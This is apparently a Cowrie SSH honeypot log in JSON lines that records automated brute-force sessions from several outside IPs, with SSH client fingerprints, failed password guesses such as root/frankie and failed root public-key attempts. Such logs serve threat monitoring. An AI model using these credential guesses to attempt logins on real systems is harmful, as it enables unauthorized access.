{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":59250,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccec4562393c","protocol":"ssh","message":"New connection: 103.107.60.45:59250 (10.17.0.5:22) [session: ccec4562393c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:33.530897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:33.535402Z","src_ip":"103.107.60.45","session":"ccec4562393c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:33.750127Z","src_ip":"103.107.60.45","session":"ccec4562393c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:34.639883Z","src_ip":"103.107.60.45","session":"ccec4562393c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:35.857637Z","src_ip":"103.107.60.45","session":"ccec4562393c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36078,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c52dd74cd3a","protocol":"ssh","message":"New connection: 109.237.96.109:36078 (159.203.135.109:22) [session: 4c52dd74cd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:49.227499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:49.234436Z","src_ip":"109.237.96.109","session":"4c52dd74cd3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:49.330640Z","src_ip":"109.237.96.109","session":"4c52dd74cd3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"frankie","message":"login attempt [root/frankie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:49.610641Z","src_ip":"109.237.96.109","session":"4c52dd74cd3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:50.706210Z","src_ip":"109.237.96.109","session":"4c52dd74cd3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40354,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5e33dc51bd1","protocol":"ssh","message":"New connection: 194.113.233.25:40354 (10.17.0.5:22) [session: e5e33dc51bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:23.691273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:23.696292Z","src_ip":"194.113.233.25","session":"e5e33dc51bd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:23.790030Z","src_ip":"194.113.233.25","session":"e5e33dc51bd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"electric","message":"login attempt [root/electric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:24.071298Z","src_ip":"194.113.233.25","session":"e5e33dc51bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:25.170215Z","src_ip":"194.113.233.25","session":"e5e33dc51bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.197.64","src_port":36782,"dst_ip":"10.17.0.5","dst_port":22,"session":"329e9a1a715f","protocol":"ssh","message":"New connection: 91.208.197.64:36782 (10.17.0.5:22) [session: 329e9a1a715f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:30.954355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:30.959486Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:31.089184Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:2b:bd:e4:5b:5b:b6:92:20:4e:dd:66:9e:c1:18:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDvlS9mdB45XgK8q/9zYLR+AGrQVA/rxIkqd7Sos1Gy3eXiehW2T34U8ZxN6NTdNoUQFGhISRhTxOePW0bM3V49xDdk33iOKABF5H0L9UbwgPkk3X3bNpwGVaWSqYQbBFIdaUN6UvqtAaGaN4yhE/rtZGiLKxBvvSLWSdw1fA7yrUUNF4z4uMvZyUhrlC4FvotWjcmlnqeBeY3QPIIHGlmk1NUQivaEcLEnfHomGymSRykD1sSMnP6hXukfugd8ZtZHyHIJKR45ojXUlxrTHnAUE+/YVdn8kITfOAbKMC1ygUQbr9edRDciXiz/VyTYsbskpqsOb6LVDBX2ncjIODJB1QQIc9m9K3ceBil2U0dJ2eTf3SuM8F5r3RyKCCBxg6DJhW4Qd15Xqm7FJjPevy59uNqd0mb5R7vy/se+Enrrp1stQfgeLW1FiAoAVtDMsCVYZsSC41ytzC53P/yoEcr8//DR39CfznQe0+DGSQvmj1nfzkH+GHgWfbh17D5z+lM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:2b:bd:e4:5b:5b:b6:92:20:4e:dd:66:9e:c1:18:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:31.685684Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:2b:bd:e4:5b:5b:b6:92:20:4e:dd:66:9e:c1:18:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDvlS9mdB45XgK8q/9zYLR+AGrQVA/rxIkqd7Sos1Gy3eXiehW2T34U8ZxN6NTdNoUQFGhISRhTxOePW0bM3V49xDdk33iOKABF5H0L9UbwgPkk3X3bNpwGVaWSqYQbBFIdaUN6UvqtAaGaN4yhE/rtZGiLKxBvvSLWSdw1fA7yrUUNF4z4uMvZyUhrlC4FvotWjcmlnqeBeY3QPIIHGlmk1NUQivaEcLEnfHomGymSRykD1sSMnP6hXukfugd8ZtZHyHIJKR45ojXUlxrTHnAUE+/YVdn8kITfOAbKMC1ygUQbr9edRDciXiz/VyTYsbskpqsOb6LVDBX2ncjIODJB1QQIc9m9K3ceBil2U0dJ2eTf3SuM8F5r3RyKCCBxg6DJhW4Qd15Xqm7FJjPevy59uNqd0mb5R7vy/se+Enrrp1stQfgeLW1FiAoAVtDMsCVYZsSC41ytzC53P/yoEcr8//DR39CfznQe0+DGSQvmj1nfzkH+GHgWfbh17D5z+lM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:31.689301Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:43:dc:25:3d:b3:44:55:c5:b2:6f:63:ef:bb:bf:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz2Vn6wtONM2+6a9/OZK8OxRxLf1cYiszpNwODT9NBGd/HDYEHeyjAaAoVPaKgxJQITYtZ1WVXi0dCdWGZ11quMNOqOAy4WMSUfd72rq6gAlxC9nH85fLsNmBU49Y2yFZ1vEK1PJGWnraGuYXkiICCPhE8IfjgTTj+wERxleR7LGUpRKY3ieXpPHIxSqmbCse0K9JgN9E2Wu+IUda4KIOaEVvrlemLxB5pnu3nZltMKJeeFshwx+GM+deDi100qdxi69g1KgHeZW1QBHAYyxtPOJKRZTOJpyjw5l0wh17hiEXaiWuw33XRGBn85N1ZPzKX7yNDVYOKx7gFpSJhu6feQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:43:dc:25:3d:b3:44:55:c5:b2:6f:63:ef:bb:bf:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:31.813562Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:43:dc:25:3d:b3:44:55:c5:b2:6f:63:ef:bb:bf:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz2Vn6wtONM2+6a9/OZK8OxRxLf1cYiszpNwODT9NBGd/HDYEHeyjAaAoVPaKgxJQITYtZ1WVXi0dCdWGZ11quMNOqOAy4WMSUfd72rq6gAlxC9nH85fLsNmBU49Y2yFZ1vEK1PJGWnraGuYXkiICCPhE8IfjgTTj+wERxleR7LGUpRKY3ieXpPHIxSqmbCse0K9JgN9E2Wu+IUda4KIOaEVvrlemLxB5pnu3nZltMKJeeFshwx+GM+deDi100qdxi69g1KgHeZW1QBHAYyxtPOJKRZTOJpyjw5l0wh17hiEXaiWuw33XRGBn85N1ZPzKX7yNDVYOKx7gFpSJhu6feQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:31.818436Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:8c:93:c0:0b:f8:9c:cb:ab:c2:4b:6c:65:a8:57:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxAoE9AoAowxow7C2Z/N2C/U2EnkmZHKVLa+PHQz9zu9RqnWiOD85ZvYWPoAKP0A8P7uMvGrB7ARQbM0tlyCpeW//QKeYq3rmPLC0gKQ5VxsIHasje3iE6zm40ZgDRhQHWc+K/b9BeLz5I0t08vFvxqYLDEmD/c9Ka29PxOHSYx3NAD3f2bYWZy4wN4XQc7Nb89V400UBtWot0ZMxcyHi0LyDgFVdBeOAYjKFwlcL7M7kqefTHkcEtKjoedD13rOXu1N/8JuXHabp0oVHKIKoWIrr50P13A32YOqTn05c3BQ8Sdm7FZ1/1MD0Sb61HJd/uE/JmPeKNOnruu7u4bSunw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:8c:93:c0:0b:f8:9c:cb:ab:c2:4b:6c:65:a8:57:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:31.945879Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:8c:93:c0:0b:f8:9c:cb:ab:c2:4b:6c:65:a8:57:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxAoE9AoAowxow7C2Z/N2C/U2EnkmZHKVLa+PHQz9zu9RqnWiOD85ZvYWPoAKP0A8P7uMvGrB7ARQbM0tlyCpeW//QKeYq3rmPLC0gKQ5VxsIHasje3iE6zm40ZgDRhQHWc+K/b9BeLz5I0t08vFvxqYLDEmD/c9Ka29PxOHSYx3NAD3f2bYWZy4wN4XQc7Nb89V400UBtWot0ZMxcyHi0LyDgFVdBeOAYjKFwlcL7M7kqefTHkcEtKjoedD13rOXu1N/8JuXHabp0oVHKIKoWIrr50P13A32YOqTn05c3BQ8Sdm7FZ1/1MD0Sb61HJd/uE/JmPeKNOnruu7u4bSunw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:31.950436Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:90:3d:7b:40:7d:d3:89:c6:78:ed:e0:e7:4c:35:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEA3bS6/2rZ+titxvYXjWHbYZIbqwMvpwUz84b+h9gexa9UBnYgFxaaoszw8Wa08QSXtvGUy6bSlNj89unqyqIFA8yIpU03NMtKqGXjNfIR2Vn75dvz19fbCT/SvkwfwU1PehNA/NoE2msw3UXdOQsGwa8gIWrtDwG1VYWxFO6P1PCxSmJnXFl72kxpsxnahqaXHzqFQ03F+sD299a4jA8wcleTbMLzsSYK8DXW/WfVU/xmjKIaD+NBvhLaWy6Dha4gWHDW/YwdSPAG4FjzVzlG1vdRIVom9p/XIlkEtQme50s0MH4b9HvKeFklK2hq6eaBPnwvqi9eG7QX2oyAPa5pLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:90:3d:7b:40:7d:d3:89:c6:78:ed:e0:e7:4c:35:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:32.076021Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:90:3d:7b:40:7d:d3:89:c6:78:ed:e0:e7:4c:35:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEA3bS6/2rZ+titxvYXjWHbYZIbqwMvpwUz84b+h9gexa9UBnYgFxaaoszw8Wa08QSXtvGUy6bSlNj89unqyqIFA8yIpU03NMtKqGXjNfIR2Vn75dvz19fbCT/SvkwfwU1PehNA/NoE2msw3UXdOQsGwa8gIWrtDwG1VYWxFO6P1PCxSmJnXFl72kxpsxnahqaXHzqFQ03F+sD299a4jA8wcleTbMLzsSYK8DXW/WfVU/xmjKIaD+NBvhLaWy6Dha4gWHDW/YwdSPAG4FjzVzlG1vdRIVom9p/XIlkEtQme50s0MH4b9HvKeFklK2hq6eaBPnwvqi9eG7QX2oyAPa5pLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:32.081109Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:88:22:a5:a2:90:60:86:ef:ea:2b:89:59:f1:26:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH64hg1SZ0sZzy/C776oEng8g3qpG6+sR95doIgzHK/9leklUaDY5KQWNHS/mdnVmXS0M6EPxxnc2xulB/enluKlEV7TvWPPezXiU9mZeXC1WSm3AgLFJsksXGit7FELE52Dr2as67SuGu0CdkxzeSuQJ9af2Dn/e/VFZhXOQ1zZOJj7Oc/I4rbNuMyBd6bue9TiAqB4HzVs4QW0VMMtF5QcxzTRQD5v1wfKwte1NETDOjOljCwQvWS3KUzOj27DI6bPreGD7v++iqcBMTbuRQ8T1hmY1Nq7WRKU00srczFvYid5mec7LEXP9XJ0Jrye35Yqw/qEUgPK8goL4gzT5JIKKK45+HLHczfyf1QSgH8uAZpevxq+Vni9rlbR9SC7KCIXK1hec/T4+6KZ9MF9DvOPVwLstO6HrzuRjawowvojHw8U+K5qHuNXpP1R4x8k7l3GCQ7TVDg9bbNkUJm+ScFCANQZfRiGXEttxEguKHUq44jH4AwbsYRAsLhYyuRQaKzT9K0yTl1PxMFXzFaNDbbVhRds/d9uKvWq9WjY+B6awNwFSK2ENINpfyei0+aym1BJjCIyk8ZquFTugOYEwxSh0MxMBpTX6eAvoIivMwiMZ1sHyIApBrRhDyLj9nRX2mebH3Jc2jqW5NlrFQ8i8xI+x2+wHKGlb+TnbPMGUPjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:88:22:a5:a2:90:60:86:ef:ea:2b:89:59:f1:26:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:32.207327Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:88:22:a5:a2:90:60:86:ef:ea:2b:89:59:f1:26:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH64hg1SZ0sZzy/C776oEng8g3qpG6+sR95doIgzHK/9leklUaDY5KQWNHS/mdnVmXS0M6EPxxnc2xulB/enluKlEV7TvWPPezXiU9mZeXC1WSm3AgLFJsksXGit7FELE52Dr2as67SuGu0CdkxzeSuQJ9af2Dn/e/VFZhXOQ1zZOJj7Oc/I4rbNuMyBd6bue9TiAqB4HzVs4QW0VMMtF5QcxzTRQD5v1wfKwte1NETDOjOljCwQvWS3KUzOj27DI6bPreGD7v++iqcBMTbuRQ8T1hmY1Nq7WRKU00srczFvYid5mec7LEXP9XJ0Jrye35Yqw/qEUgPK8goL4gzT5JIKKK45+HLHczfyf1QSgH8uAZpevxq+Vni9rlbR9SC7KCIXK1hec/T4+6KZ9MF9DvOPVwLstO6HrzuRjawowvojHw8U+K5qHuNXpP1R4x8k7l3GCQ7TVDg9bbNkUJm+ScFCANQZfRiGXEttxEguKHUq44jH4AwbsYRAsLhYyuRQaKzT9K0yTl1PxMFXzFaNDbbVhRds/d9uKvWq9WjY+B6awNwFSK2ENINpfyei0+aym1BJjCIyk8ZquFTugOYEwxSh0MxMBpTX6eAvoIivMwiMZ1sHyIApBrRhDyLj9nRX2mebH3Jc2jqW5NlrFQ8i8xI+x2+wHKGlb+TnbPMGUPjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:32.211348Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:32.335769Z","src_ip":"91.208.197.64","session":"329e9a1a715f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.26.161","src_port":35004,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9515eed35c4","protocol":"ssh","message":"New connection: 118.196.26.161:35004 (10.17.0.5:22) [session: f9515eed35c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:54.362482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:54.366897Z","src_ip":"118.196.26.161","session":"f9515eed35c4","protocol":"ssh"}
